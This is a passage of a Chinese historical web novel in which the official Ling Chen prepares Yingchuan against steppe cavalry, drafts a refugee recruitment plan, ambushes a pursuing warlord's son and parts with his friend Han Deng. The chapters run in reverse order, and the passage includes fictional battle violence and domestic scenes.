从他们那里得知,这些草原靓仔的骑兵基本没有蹄铁,只有部分高级将领的坐骑钉了蹄铁。 而且由于铁矿稀少,多数要用来铸造武器,所以即便有,也只是薄薄的月牙形,马蹄中间空着,覆盖面很低。 骑兵冲锋么…… 那就来领教领教破胎器的威力吧!多少七星大佬都陨落在此等神器之下,证道失败,遗恨联邦监狱墙。 你们,也不会例外。 这个时代的人们对于骑兵的克制方法只有两个,一个是弓箭远程输出,效果一般不说,人家几个呼吸就冲到跟前了。另一个是骑兵对冲,可颍川府费劲巴拉的靠战扬缴获,才堪堪凑出一千三百多名骑兵。 铁蒺藜好撒不好收,而且骑兵机动性很强,很难提前布置防御。 天气寒冷,村子里却是热火朝天,被征来的徭夫们挥汗如雨,袒露着半边肩膀,将滚烫的铁水倒入模具中,等到冷却下来后,又浸入冰水中降温。 木炭杂乱的堆在藤筐里,鼓风机在强壮的肌肉抽动下,将火焰吹的猛烈燃烧。解二用胳膊擦了擦额头上的汗水,手里拿着一块铁蒺藜递到了凌晨手中。 凌晨望着铁蒺藜中间的孔洞,对他和刘廷让说道:“找一些结实的麻绳把他们串起来,串起来后记得按相同距离打结,不要让他们顺着麻绳滑动。” 刘廷让望着凌晨手中的铁蒺藜说道:“这……麻绳很容易被刀砍断,而且如果被火烧到,也会断裂散落。” “唉…我也知道这些,这不是没有多余的铁嘛!就这些,还是百姓们把自己家多余的铁具捐出来才搞到的。 我们就是资源太稀缺了,要是铁矿足够,马匹众多,还搞这些弯弯绕绕干嘛?老子直接装备几万披甲铁骑去跟他们对冲!” 解二和刘廷让对视一眼,皆是露出无奈之色。一分钱难倒英雄汉,巧妇难为无米之炊。 “对了,护庄队的武装泅渡练习的怎么样了?” 解二转头继续带着工匠们干活了,刘廷让跟在凌晨身边,边走边说道:“大部分都达到了大人的要求,还有几个有些吃力。冬水冰寒刺骨,很容易抽筋和失去知觉,昨个还差点淹死三个……” 凌晨叹着气说道:“应开疆如果想要奔袭颍川,一定会让那些草原骑兵来,他们机动性强,铁蒺藜只是无奈的应对之举。 真正想要得胜,还得偷渡黄河,袭击他们的渡船、烧毁军粮马料。告诉兄弟们,平时多流汗,战时少流血,河水再冷,也总比送命强。” “嗯。” 点了点头后,刘廷让又问道:“骑兵攻城……应该威胁不大吧?我们只要坚守城池,他们也奈何不得。” “那帮草原人又不是傻子,怎么会傻乎乎的攻城呢?当然是四处袭扰村镇,杀烧抢掠,逼着你出城野战。你待在开封城当然高枕无忧,可要是望云镇被他们包围了,你急不急?” 闻言后,刘廷让皱起了眉头,沉默着叹一口气。 “对了大人,你怎么不跟着兄弟们一起练习泅渡?还是你早就熟练了?” “我?我到时候坐船偷偷到北岸去。” “啊?那万一被发现了,敌兵阻拦……” “把他们全杀了,不就不会被发现了?再说我一个人目标小,不会被发现的,放心吧。” “呃……” 颍川乡军原本的编制是三千人,由刘青山、邵之祁、成万三个校尉一人统领一千。 后来,成万违纪违规、丧失理想信念被剥夺了人籍,他手下的一千乡军归刘青山暂统,这一暂就是一年多。 而现在,邵之祁远在襄阳未归,大舅哥无论是资历还是威望,都是乡军中当之无愧的无冕之王。冯延向兵部表奏,请升大舅哥为颍川乡军统领,统辖治下所有武装力量。 兵部没有回应,那就是默认了。 最初的三千,也变成了现在的两万。 冯延每天都亲自带人视察何处、各地,监督制造和修建事宜,偶尔还要处理几个消极怠工和喝酒误事的垃圾。整个人忙的脚不沾地,不是在视察,就是在视察的路上。 不亲自察看他很难安心,稍有不慎就会脑袋搬家。更何况就算自己全力以赴,结局也很难预料。 今年的冬天比之往年还算暖和,黄河虽然已经结冰,但人站上去,蛛网般的裂痕就从脚下向着四周蔓延,照这个情况看,还有一定的防御作用。 有时候凌晨也在心里抱怨,如果自己的出生点在江南就好了,长江可不结冰,妥妥的天险。 率领唐军克复中原、恢庙咸秦,听着也顺耳点。 不过既来之则安之,真正的高手,应该是把一手烂牌打好。三年的深谋远虑、呕心沥血,终于让颍川府在自己的推波助澜下能够站立在乱世群雄之中。 就眼下的局势推断,只要不出意外,文训和他背后的江淮势力是最有可能一统中原的政治力量。自己也该考虑把触角伸向孟蜀和唐国了。 十二月底,黄河彻底冰封,冰面厚度足以跑马。 整个颍川府如临大敌,散出大量探子、斥候、细作前往北岸探查战局形势,所有人都做好了燕军或者草原骑兵兵临城下的准备。 但应开疆似乎并没有这个意思,直到靖安二年一月底,天气转暖,冰雪渐渐有消融的迹象,黄河以北依旧没有动静。 晋、燕双方打的火热,邯郸城数次易手,孙芝和他手底下的晋阳军还真不是吃素的,敌军三倍于己,都能跟他们打的有来有回。 一月的最后一天,南边的文训经过苦战,攻入了下邳城,徐州府全境归降。 楚王、襄樊节度使宋舒被手下将领所杀,荆州府宣布归顺孟蜀,八万蜀军东出夷陵,进驻江陵城。武陵府、桂阳府望风而降。 蜀国新继位的小皇帝孟玄是有点东西的。自从他改变父亲的战略不跟韩珏死磕之后,一路开疆拓土,国力大增,声威日隆。 唐皇李雄派手底下最能打的温茂率兵进驻江夏府,招降长沙府,与孟蜀军队分庭抗礼。整个江汉平原剑拔弩张,气氛降至冰点。 颍川士族们经过数个月的讨论,终于统一了意见—— 不能再待价而沽了,必须要投靠汝南文家,反正他们是以周臣自居,名声挺好,加入文训麾下也不丢人,而且双方关系也还不错。只有获得江淮军的军事支持,才能在应开疆和孙芝的夹缝中寻到一线生机。 刚巧文若和韩意的第一个孩子降生,文训又新拿下了徐州,正准备大肆庆贺。 于是颍川府的老头子们一致撺掇着冯延,命凌晨以恭贺为由,去汝南商谈归顺事宜。 凌晨接到这个命令的时候,人都是懵的。 文若不是襄阳干架呢么?韩意怎么会怀孕? 哦,是已经生了啊? 那没事了。 老文似乎心情不错,专门派谢荣来开封城。谢祈年先是和冯延叙了叙旧,然后又来到凌家,传达了文夫人的意思:必须带上青柠,让她好好瞧瞧。 带不带不是你说了算的,别以为你对我还算客气我就会鸟你。我娘子如果想去一切好商量,我娘子要是不想去,就算是老文亲自来请,我一样不给他面子! “节度使大人的夫人……” 青柠听后面色有些纠结,虽说现在的她早已不是当初的小村姑,也见识过了许多大扬面、大人物,可面对权势滔天的江淮节度使夫人,还是不免生出了胆怯之意。 凌晨拉着她的手安慰道:“她是早有这个想法,上次去给老文过寿时就提起过,我是觉得你去认识一些新朋友也好。 文若的娘子人还是挺不错的,她还是韩登的亲姐姐,说起来跟咱们家也算有些渊源,他家二女儿也挺文静。 娘子如果想散散心、去外面逛逛,我们就同去。如果不想见那些人,我寻个由头回绝了就成。” 青柠缩着脖子望了一眼凌晨,慢慢说道:“我倒是想出去走走,只是……就怕人家高门大户礼仪繁多,万一闹出笑话,岂不是给你丢人……” “嗐!这算个什么事,我娘子一直很淑女的,你在家怎么样,去了她们那里就怎么样,把她当二婶就行了。 咱们跟他家是平交,又不是攀附!你相公我救了他家不知道多少次,真要论起来,他们得把我供在家祠里~” 青柠白了凌晨一眼,望着地面思索了片刻后,问道:“那……那我给夫人准备什么礼物呢?” 凌晨思索了一下后,笑着答道:“文夫人做饭的手艺好像不错,你就把窖里秋天摘的菜给她挑几个好的带着就行,他们家不缺吃穿,心意到了就行。” 青柠听后把头摇的像拨浪鼓一样拒绝道:“那不行!那也太寒酸了,你如今大小也是个官,怎么能这么随意呢?” 呃…… “那娘子想送啥?” 青柠搂着凌晨的胳膊思索了一会后,灵光一闪:“对了,他家小娃娃不是出生了么?我给孩子做些鞋帽小衣之类的,既显了咱们心意,又不至于生分,相公以为呢?” “甚好,甚好~” 第66章 引进人才 城门前,忙碌了一天的百姓们进进出出。 进城兜售蔬果、柴炭渔货的乡民们揣着铜钱,喜气洋洋的结伴回家。他们有的三两同行,有的一群人挤在驴车上,谈论着彼此的见闻,时不时爆发出一阵笑闹之声。 出外办事、商谈生意的城中人也风尘仆仆的外出归来。早有不放心的妻子带着孩子立在河边等候,交好的朋友翘首以盼。看到熟悉的身影后,不禁喜笑颜开。 望着安宁繁华的景象,凌晨感慨万千,与刘廷让闲谈起来:“你爹最近身体怎么样?” “挺好,家中有母亲、幼弟陪在左右,阿姊也常回娘家叙旧。咱们望云镇是十里八乡最有名望、最热闹的地方,他作为里正,面上也光彩,我看着倒像是更年轻了。” 凌晨回想起以前的事,不禁有些莞尔:“说起来,他老人家还是我跟青柠的主婚人呢,也算半个长辈。而且你还记不记得,当初他还叫家丁来强买我的坐骑呢~” 刘廷让听到凌晨谈及往事,也有些感触,摇头笑道: “大人快别说了,我爹要是知道你今天的成就,当时就是借他十个胆子也不敢登门相欺啊!我那时也是刚外出归来,直接就被公人锁去了县衙,那一百柳条的滋味到现在还清清楚楚的记得,可被我爹给连累惨了~” “哈哈哈哈~” 二人立在马上,摇摇晃晃的前行着,齐齐开口大笑,回首往事,觉得既荒唐又有趣。 “哎,那当初去我家要马的那个……” “一开始把他支去了隔壁县,后来大人饶过了我们父子,大家熟络之后,就把他又接回来了,还做以前讨租的活计。不过大人放心,自从被解二哥割了一只耳朵后,他已经学会老实了,待人接物都很客气。” 凌晨点了点头,对刘廷让说道:“一会你去我府上,取二十两银子予他。我本是善人,许多事……都是不得已而为之。今既诚心改过,也该化解一番,不然教他如何在乡邻面前抬头做人?” 善人? 赵世中旧营和延津县的几千具尸体估计会有不同的声音吧…… 刘廷让不解的点了点头,总感觉今天的凌晨有点伤春悲秋的。 “大人何必伤感,韩大人作为质子离家十余载,如今能回到故里与家人团聚,这是喜事,我们该为他感到高兴才是。” “嗯,确实是这么个理。小家有小家的艰辛,大家有大家的难处,人生在世,都是苦海行舟啊~” 穿过城门楼洞后,刘廷让望着充满烟火气息的市井,笑着说道:“那是旁人,大人家宅安宁,仕途顺遂,走到哪里都是游刃有余,又何来苦海二字?” 凌晨笑着拍了拍刘廷让的胳膊,双腿一夹,胯下马儿便往家中缓缓走去。 刘廷让望着凌晨的背影消失在街道人群里后,勒转马头,也向家中归去。 —— 通常情况下,老皇帝下线后,新皇帝年号应该于第二年始,当然这是指通常情况下。 眼下明显已经不属于通常情况的范畴了,打算盗大周号的不法分子明面上已经出现了两个。 靖安元年十一月初,孙芝和应开疆这哥俩谈崩了。 一个自比霍光、伊尹,要为大周扫清寰宇,辅佐幼主,再造山河。 一个自比成汤、武王,要推翻腐朽不堪的旧社会,还百姓一个朗朗乾坤。 属于是脸都不要了…… 于是,许多清流士大夫、政治难民、以及无数不想“被”箪食壶浆以迎王师的富商百姓们,纷纷跨过黄河向南逃命而来。 他们渡过黄河后,发现青州府正在混战、你方唱罢我登台;睢阳府遍地白骨,千里无鸡鸣;颍川府百业兴旺,车马如潮人如水…… 于是,无数人涌入了颍川境内。 有人背着老父,抱着孩子,与妻子整整两天不吃不喝,纯靠光合作用;有人赤身泅渡,在波涛汹涌的宽阔河面上自由狗刨;还有人拿自己当牛马,双手握着车架,拉绳往肩膀上一套,拉着全家老小和家当。 八仙过海,个个堪比超人。 他们带来了巨大的消费潜力、丰富的劳动力以及各行各业短缺的人才。 冯延命张承、聂无为、凌晨一起合计拟定一份人才引进计划,要将那些有一技之长的、有足够声望的、有丰厚家资的人通通留在颍川府境内。 另外那些拖家带口的穷人也要妥善安置,如今颍川府早已经不是数年前被徭役榨干的狼狈模样,有能力、也有信心吞下这波人口福利。 有了人,就能有粮饷、有兵源。照这个形势发展下去,就算孙芝或者应开疆真的引兵来犯,借助滔滔黄河,也未尝不能与之一战! 府衙官署里,张承和凌晨坐在榻边,因为年迈而不停喘气的聂无为坐在榻上,靠着软枕,一起研究告示该怎么发。 三个人的年龄颇像祖孙三代,很有喜感。 “老朽以为,可将入境百姓按门第、声望一一划分,呃…再施以便利,府衙划地造屋,安排干吏统一管辖,安顿下来后,教他们各寻生计,二位以为如何?” 聂无为费力的说完后,整个人身子一起一伏的,看起来累的不轻。 大爷,您都这样了,好好在家含饴弄孙不好么?还出来拼个啥呀…… 凌晨嫌弃的低下头撇了撇嘴,生怕老头一言不合嘎在这桌案上。 张承皱眉思索着说道:“望族富商,可以如此安排。但穷苦百姓,怕是要府衙接济才能安顿……” “不用,这跟我们之前安排那些难民不一样,那些人是以疏为主,这些人大人明显是想留下来,要留就要开出足够的条件,不然都跑其他地方去了。” 见凌晨有主意,张承询问道:“那你说,怎么个弄法?” “我们将他们划分成甲乙丙丁四个等级,每个等级对应着不同的人群,有着不同的待遇。例如:甲等的基本要求是士绅官员,经过测验后,能力合格者便可享受丰厚待遇,分拨府城及诸县衙从副协作,干得好有希望转正。 乙等身份能力、待遇皆次之,丁等最次,仅供短期吃喝,可以向府衙借钱垦地造屋,来年归还。我的意思是,直接无息,反正我们最终的目的是把人留下。” 聂无为费力的睁着眼睛问道:“那……那若是甲等测验不合格,又当如何?” “不合格就降为乙等,乙等的活干不了就再降为丙等,还不行就去自己地里刨食、给人做工。能待就待,不能待就滚。我们要的是人才,不是废物,颍川府衙不养闲人!” “这……” 聂无为颤颤巍巍的端起茶杯抿了一口,因为轻微的帕金森导致身上还撒了点。 张承又提出疑问:“府城和治下各县的官吏都满了,让他们进去,怕是会引发冲突。再说也没有那么多的位置让他们效力。” “这倒是个问题……哎,那不如这样,让引进的官吏管理入境的百姓,只不过鸡管鸭群,鸭管鹅群。再将我们本地的人打乱穿插进各级层,应当差不多,具体的再根据实际情况调拨。” 凌晨的提议获得了聂无为和张承的赞同,但张承还有一个问题:怎么用告示让入境的百姓简洁了当的明白府衙的政策。 凌晨直接拿起一旁的笔,沾了墨汁后在纸上画了一个大长方形表格,再划出四道平均的横格,分出甲乙丙丁。 做完这些后,他又竖着划了两条线,第一竖行写等级,第二竖行写要求,第三竖行写待遇。 明白过来后,张承点点头,从一旁拿来白纸册子,开始一起商议等级对应的人群。 “甲等的要求……就写身份必须是国公、王爷,职位必须是六部尚书或者侍郎,最差也得是节度使。” 张承眉头一皱,握着笔疑惑的看向凌晨。 那特么还能召来人吗?有这个身份的人会在乎小小的颍川府开出的福利?什么待遇能把这种神仙留下?? “开个玩笑哈哈哈~老张你这人,怎么还是和以前一样一本正经的呢~” “……” —— 颍川府开出了丰厚的待遇来挽留、招募各行各业的人才,来者不拒。 你会数算,就去税课;字写的漂亮,就去典吏;带兵打过仗,就去乡军新编营干伍长。 如果你会一些比较实用的技能,比如养牛、养蚕、兽医、刺绣、制衣、造纸、修建屋舍这类技能。恭喜你!颍川府就需要你这样不可多得的人才,请你一定要留下来! 什么?你只会背四书五经? 去,扛上扫把扫大街去,看到随地大小便的记得罚款。 —— 韩登也不知道怎么样了,幼年离家当人质,这趟回去怕是怎么也得和他弟弟以及二娘三娘四五娘生的孩子擦出点火花来。虽然他是长子,却在关中没有根基,可为了全家去当人质,把他晾一边肯定是不行的。 就看韩珏怎么处理了,处理好了家宅和睦,处理不好兄弟阋墙。 估计光是他见到家人的第一天,就能精彩到拍出十几集无脑短剧。 “相公,想什么呢?” 烛光摇曳,洗漱完的青柠披着头发走了进来,坐在榻边将发丝都理到肩后,靠在被褥旁边,替凌晨摘去发笈。 凌晨伸手将毫无防备的青柠拽倒在自己怀里,伸手摸了摸软玉,被青柠娇嗔着拍了一把肩膀。 见他还不老实,青柠红着脸又一指头戳在他额头上,低下头窝在他脖子里,突然咬了一口软骨,这一口咬的凌晨像是被戳到麻筋一样,酸爽极了! “娘子饶命,快松口!痛痛痛……” 听到他告饶,青柠这才松口抬头,发丝早已散乱的垂下,柔顺的覆盖在凌晨脸上。夫妻二人四目相对,青柠那娇羞嗔怪的嘴角,含情脉脉的眼眸,着实让凌晨鸡动。 已经三年了啊~ 如今的青柠早已不是刚见面时的黑瘦小丫头,身段修长纤细,脸蛋不用在太阳底下暴晒,摸起来滑滑的;该饱满的地方已经逐渐成型,看起来最少也是……咳咳,此处略过。 天生的直角肩,小腹躺下时顺平滑溜,曲坐时又有肉肉,捏起来还挺好玩。情人眼里出西施,怎么看都好看,哪哪都令他满意。 青柠是十月生辰,也就是说,还有不到一年的时间,凌晨将解锁全新的美好生活。 先亲一口再说! 温润的缠绵了一阵后,青柠红着脸伸出手掌,挡住凌晨又撅上来的猪嘴:“相公还没回答我呢,刚才在想什么呢?” 将媳妇搂着一起躺在床上后,凌晨伸出手指撩拨着青柠的头发,用发丝挠向红透的耳朵,惹的青柠咯咯笑着不住闪躲。 “刚才在想韩少呢~” “韩大人?他不是回家了么?相公不是一向厌他,怎么走了反而还念叨起来了?” “这就是死皮赖脸的可怕,让你习惯了他的存在,突然不在了,就会不适应。” 闹腾了一会后,青柠将脑袋亲密的枕在他的胳膊上,用手在凌晨的胸口画着圈圈,有些同情的说道: “韩大人也是可怜人,平日里看着威风凛凛的,却在那么小的年纪一个人独自生活在举目无亲的京城,和我当初一样孤单,我能体会到他的心情……” 凌晨握住青柠画圈圈的手,思索着说道:“也未必,看你怎么看待,有时侯我还挺享受孤独的。没有鸡毛蒜皮的人和事情打扰,整个世界只剩下我自己。 不用去做什么,也不用去想什么,万籁俱寂,只有我自己的脚步声和心跳声,我能感受到自己的存在,那是一种说不出的惬意和美妙。” “所以说,我相公很厉害,不管是在军中,还是在临颍。哪怕是到了这里,依旧很厉害~” 啊—— 这就是被老婆崇拜的感觉吗?真爽啊!这又是谁的一辈子啊~ 凌晨宠溺的望着怀中的青柠,勾起食指刮了一下她的鼻子,哪成想刚安静下来的青柠骨子里那股不服输的劲头又上来了,爬起来毫无淑女风范的骑在他身上,无论如何也要刮回来! “相公,你别挡,让我也试试!” “错了!错了错了,你下手没轻没重的,我遭不住啊!” “快点,让我刮一下就行,不然可就不止一下了哦~” 人生若只如初见,该有多好啊! 第65章 长亭外 孙芝坐在卧室外堂的桌子前,转动着手中的覆铜铁箭头,面沉如水,一言不发。 沉默了半晌后,他低下头,撩起寝服,看了看里面的金丝软甲,又摸了摸空荡荡的脖子,深吸了一口气。 冯延已经不重要了,甚至韩登…… 也可以先放一放。 枯坐了半个时辰后,他将胭霞、还有那两名双胞胎侍女填井,另外又调了一波人来,将先前站在门口的护卫尽数替换。 —— 黑夜中,凌晨、韩登、冯延等人一路策马急驰,中途只敢停留一小会,让马匹歇息片刻,而后又上马向南奔。 韩登紧握缰绳,望着凌晨的背影问道:“你都已经摸到他床边了,干嘛不直接杀了他?” “杀了他,你跟冯大人就走不了了。” “也是……那你过段日子再偷偷潜伏回去,弄死他怎么样?” 凌晨忍着火辣辣的大腿摩擦,费力的向韩登解释道:“孙芝还不能死,他活着,晋阳军还有人约束,他要是死了,京城肯定会化为一片灰烬的。” “那关我们什么事?晋阳军群龙无首,内斗起来不是更好?” “你爹现在应该没空出兵河东吧?孙芝一死,应开疆不得高兴到天上去?再说了,他活着,你只需要对付他一个人。他要是死了,你就得面对许许多多的晋阳军将领和地方势力,情况只会复杂!” 跟一个成年人有矛盾,和跟一群高中生有矛盾,那区别大了去了。 再者,一群小鸭子跟在大鸭子身边好抓,还是它们四散而逃钻进水里、躲到草里好抓? 就在这时,刘廷让策马追上行走在队伍最前面的凌晨,面色焦急的汇报道:“大人,底下人来报,身后近千轻骑紧追不舍,怎么办?” 凌晨回头望了一眼漆黑的夜幕,冷笑着说道:“喜欢追就让他们追!这样,你带着护庄队和乡军兄弟们向两边散开,我跟大人韩少继续跑,你等他们过去后,反过来跟在他们后面!” “是!” 韩登不解的问道:“只有我们三个吗?那万一被追上岂不是……” “乡军和护庄加起来不到四百人,不是他们的对手,三个人和三百多人没有区别。更何况,那可是一千轻骑的装备。” “什么……” “驾!!” 望着加速冲向前方的凌晨,韩登也来不及再问,索性一甩马鞭,紧追凌晨而去。 冯大人没有韩登那么话唠,只顾闷头挥鞭。他最大的优点就是把专业的事,交给专业的人去干。 —— 孙煦策马冲在队伍最前方,当然了,在大队前面还有精骑开路,不能真让少主冲在第一个。 万一路上有坑、坑里插满了刀,或者敌人在前方埋好绊马绳张弓搭箭的等着,那不是在开玩笑吗? “少主,我们已经追了一个时辰,再追就出京城地界了。不如派人赶到他们前面,叫其他人马沿路拦截,穷寇莫追呀!” 孙煦听完劝告后迟疑了一下,又把心一横! 跑了冯延倒还没什么,绝对不能让韩登也跑掉!那是制衡关中节度使的重要棋子,一旦让他走脱,影响太大了! 更何况这些人刚出城,应该还没有和外面取得联系。若是迟缓一些,再要抓他们,怕是比登天还难! “放心!他们不过两三百人,看脚印大多还是步行,不必疑虑,宜速追之,快刀斩乱麻!” “少主……” “驾!!” 当初从开封出发去邺城时,要考虑马车颠簸,要考虑乡军步行,要考虑老冯这把老骨头。所以一直是时走时停,耗费的时间比较多。 而现在轻装简行,忙于奔命,管不了那么多了。舍下步行的乡军后,天刚蒙蒙亮,双方就已经追逐至延津地界。 对,就是鲤鱼焙面的那个延津。 这里距离开封城,已经不足百里。 还在追~还在追,这位吕梁侯显然没有粉过木瑞孙策,非常相信自己的判断,谁不喜欢这种年轻气盛的愣头青呢? 最终,孙煦如愿以偿的看到了韩登、冯延和凌晨的身影。 以及他们身后密密麻麻、由张承亲自带来的颍川乡军。 天色还未大亮,灰蒙蒙的原野上笼罩着一层薄雾。路边野草上的秋霜还未散去,朝阳刚刚在地平线冒了个头。马儿喷鼻,抬起蹄子刨着地上的泥土,每个人都哈着白气。 比深秋更寒冷的,是前方两排弓兵手中的箭头。 “侯爷,怎么这么客气?连夜相送就算了,还送出这么远,这叫小人如何担待得起呢~” 孙煦望着远处一副小人得志模样的凌晨,冷笑一声,不屑的答道:“你不会以为凭这些弱旅,就能抵挡住我手下的上党铁骑吧?” “NoNoNo~” 凌晨伸出食指,连同脑袋一起摇了摇后,双手张开猛的向天上扬起:“你看清楚了,这里不是京畿府,这里是颍川府!!” 他话音刚落,阵前一名弓兵拉满弦月,将绑着彩带的哨箭举向天空,只听到一声尖锐的哨响,四周响起了沉重的马蹄声和整齐的脚步声。 刘青山手提长刀,带着一支人马出现在了东边。 陈啸扛着大环刀,带着一支人马出现在了西边。 刘廷让带着护庄队和乡兵们,也追了上来,出现在晋阳军后方。 晋阳军阵列里顿时传来一阵骚乱,他们追赶了许久,这会早已经是人困马乏,对方以逸待劳就算了,人数还远在他们之上! 凌晨笑嘻嘻的望着孙煦,用能气死人的语气说道:“吕梁侯,攻守易形啦!” 孙煦咬着牙看向凌晨,又气又恨又无奈。 下一刻,他果断调转马头,高举着长枪喝道:“全军撤退!” 撤?撤哪去? 乖乖到我的碗里来吧! 冯延一只手扶着自己的老腰,另一只手举起手臂,果断挥下! “杀!!!” 无数箭矢飞向空中,像雨点一般洒落在晋阳骑兵的头顶,惨叫声瞬间响起,不断有人跌下马来! 刘青山和陈啸向着刘廷让的方向运动靠拢,合围之后,盾兵排在一起围成一堵圆墙,枪兵将长枪伸出去,弓箭手在后,将对手彻底包了饺子! 经过一夜的长途奔袭,胯下的马儿早已没了力气,一个冲锋过后就再也跑不动了。晋阳骑兵只能立在马上将孙煦护到中心,疲惫的挥舞着手中兵器,和精神头十足的颍川乡军接战。 一交手,更绝望了! 这些人士气高昂,彼此之间配合默契,根本就不是武备松弛的地方卫戍部队,明显是经历过战火洗礼的。 前排兵倒下后,立刻就有人补上空缺,每个人都目光灼灼的盯着他们的脑袋和脖子,一出手都是往护甲薄弱处去,又准又狠! 被四面包围着,骑兵的机动性根本发挥不出来,而且随着包围圈渐渐缩小,内圈的骑兵一筹莫展,只能等待着外圈的同伴倒下后才能与敌人砍杀。 马匹互相挤搡,晃的马上骑兵连箭都没法射,身边挨着的又都是自己人,弓拉不开,枪举不起。 等到孙芝派来接应的军队赶到战扬时,只剩下一地的尸体和断箭。 —— 押着五花大绑的孙煦回到开封后,冯延传檄四方,揭露了孙芝的累累罪行,发布了圣上口谕,号召天下诸侯起兵勤王,前往邺城救君护驾! 第一个响应他的,不是韩珏,也不是文训,更不是什么其他地方的知府太守,而是应开疆。 在邢州击败大周朝廷最后的军事力量后,燕帝陛下在黄河两岸已再无敌手。青州府和琅琊府乱成一团,中原诸府又各自为政,凭借手中的十万燕军和草原三部的外援,收拾他们轻而易举。 但眼下他还不能跨过黄河,因为孙芝在他旁边。 按照晋王爷前几次的表现来看,大概率是不会坐视他一统中原的,只要他敢南下,孙芝百分百会出兵偷他屁股。 卧榻之侧,岂容他人安睡? 于是,刚刚结束邢州大战的应开疆,将矛头对准了驻扎在邺城的晋阳军。 本来顶着个反贼的名头,手底下人还有点嘟囔,可现在颍川知府竟然发布了小皇帝的口谕,孙芝也成反贼了! 那还说什么?两横一竖就是干!两点一力就是办!虽然我是反贼,但一点也不影响我讨伐反贼。 当应开疆兵临邯郸后,孙芝也顾不得救自己的好大儿了,反正这些年来他一直在京城做质子,现在就继续做质子吧, 在哪做不是做? 尽管内心有点舍不得儿子,但在皇图霸业面前,一切皆可抛! 比起这两位火急火燎的出头鸟,文训就精明多了,他也响应了冯延的号召,但仅限于声援。 自从孙芝进京勤王后,江淮军东攻广陵、西战南阳,在很短的时间内就将长江以北、黄河以南的大片区域纳入了实际控制范围。 眼下文训更是亲自带兵包围了下邳城,正在向曾经一起并肩作战、抵御唐国的徐州知府动之以情、晓之以理。 孙芝和应开疆围绕着京畿府,肯定要展开一扬旷日持久的大战,而他就可以趁着这段时间进入混乱的齐鲁大地,一举统一河南江北之地。 到时候,再和邺城之战的赢家展开决战,彻底决出新的中原霸主。 而且他还比那两位少一个debuff,文家世代忠良,至今仍是周臣。 应开疆解决了大周横扫天下的禁军,孙芝解决了大周统御四方的朝廷,冯延动摇了孙芝的正义性和合法性。 老文什么也没干,好处一件没少拿,骂名一点都没沾,躺赢~ 跟他同样享受到政治红利的还有关中节度使韩珏,但他的日子远没有亲家那么舒服。 自从孟蜀和唐国为了荆南、岭南大打出手,相持不下后。关中军和江淮军暂时都没有了来自南方的威胁。 可是…… 文训的北边,是零散的中原州府。像是一群含羞的女子,胆怯的望着他。 韩珏的北边,是彪悍的朔方铁骑。像是一位凶猛的大汉,怪笑着打量他。 安全到达颍川府后,韩登就向冯延告辞,他要回家乡了。 西城门外,官道两旁秋草枯黄,微风拂过柳梢,落叶飘零。远处的黄河古渡上,商船往来不绝,小舟漂泊岸边,渔人和樵夫闲坐在枯树根上,指着北面侃侃而谈。 亭子里的凌晨和韩登对坐木桌前,摆上三两小菜,温酒一壶,一起望着平缓的水面,波光粼粼。 认识韩登也有两年了吧,这段时间没少烦他。可真要分别了,凌晨这心里又有点舍不得。 他这趟回去,要么走洛阳府,要么走南阳府。这两个地方一个归顺了孙芝,另一个战火纷飞,此一行山高路远,危险重重。 能不能活着回去还不知道,就算回去了,下一次再见面,是敌是友…… 就难说了。 在政治力量的利益面前,不会因为个人的情感而发生改变,如果到最后韩珏和文训开战,他们两个又该如何面对彼此呢? “有机会了来长安,我带你见识见识那边的美人,绝对比汝南的好。” “好,我会把这话原封不动的告诉我家青柠。” “……” 无奈的摇了摇头后,韩登扬着帅脸,端起桌子上的酒杯举向凌晨说道:“我在中原朋友不多,你算一个。” 凌晨端起酒杯跟他碰完后,轻蔑的说道:“还“算”一个?小子,能得到我的认可,你应该感到荣幸!在这个时代,整个天下,有资格做我朋友的可没几个。” 韩登喝完,将双手扶在膝盖上,笑着说道:“我就欣赏你这种两极分化的模样,怂的连娘子都怕,却敢跟晋阳节度使对着干。” “那是爱,不是怕。” “切~” …… 沉默了一会后,凌晨望着韩登,语重心长的说道:“路上机灵点,该软就软,少惹事,早点回到家里去。” 韩登和他对视一眼,心中微微有些感动,眨了眨眼睛后站起身来,拍着衣服说道:“知道了,你要是在这边待不下去了,记得来找我。除了我爹,谁敢惹你和青柠,我保证叫他脑袋搬家。” “放屁!老子要是沦落到靠你保护,还不如找块豆腐撞死。你要是有麻烦了就喊我,别不好意思,我替你擦屁股已经擦出经验了。” 韩登哈哈一笑,走上前来,将手搭在凌晨的胳膊上,依依不舍的说道:“兄弟,保重。” “去吧,路上小心。” 点了点头后,韩登走出亭子,跨上马看向凌晨,朝他抱了抱拳。紧接着扯住缰绳调转马头,一路绝尘而去,消失在了官道尽头。 晚风拂柳笛声残,夕阳山外山。 第64章 金蝉脱壳 残破的窗户遮挡不住凄风冷雨,空荡荡的正堂里只剩下老鼠从墙边跑过,也许这里曾经有过欢声笑语,文人雅士曾对坐讨论,侍女端茶侍酒。 房梁上结了白色蜘蛛网,绿藤爬上了窗沿,精致的木橱被人毁坏了半边,只剩下无人打扫而落满的白灰。 精心培养锻炼的家族子弟,都已经魂断南门菜市口,更上一层楼的愿景,繁荣鼎盛的传世美梦,化为了泥土地上的稠血,被秋雨冲刷涤净。 百般呵护宠溺的掌上明珠,正在教坊司强颜欢笑,曾经红着脸猜想着未来夫婿是如何温润俊朗,如今只能任由色中恶鬼扯去蔽体衣裳。 昨日养尊处优的贵妇人,沦落在闾左街巷,抱着襁褓中的女婴向路人乞食,岂料人人自危,没人有空去搭理她。正伤心哀怨之际,几个乞丐鬼鬼祟祟的上前,将她口鼻捂住,拖进了无人角落,只剩下婴儿躺在雨中嚎啕啼哭。 须发花白凌乱的老员外,费力的趴在地上,吮吸着雨水汇集的水流,虽不能解饱,却也能暂缓口渴。一些不知世的儿童,嬉笑着朝他扔去石子逗玩,路过的家犬也呲着牙狂吠不止。 世事一扬大梦,人生几度秋凉。 冯延进宫面圣,凌晨将他送至宫门外后,来到了大街一旁的酒楼二层雅间等待。 那个青衣大汉几乎是寸步不离的跟着他,眼神从未离开过他的身上,盯得凌晨很不舒服。 “哎,你是不是有什么龙阳之好?能不能不这么一直盯着我?” 青衣大汉一言不发,依旧死死盯着他。 “你妈来个……” 算了,我是接受过十几年素质教育的,不骂人。 从天还没亮就开始等,一直等到快中午了,宫门里才传来一声梆子响。红门大开,青、红、紫各色官员们陆陆续续的走了出来,各自登上自家车架,互相拱手作别。 很像凌晨初中时,以校服袖臂上的颜色来区分年级的样子。 冯延依旧没有出来。 凌晨的耐心耗尽了,从酒楼里走了出来,来到了被孙芝的人层层“保护”的车驾前。 再不出来,我可要进去了。 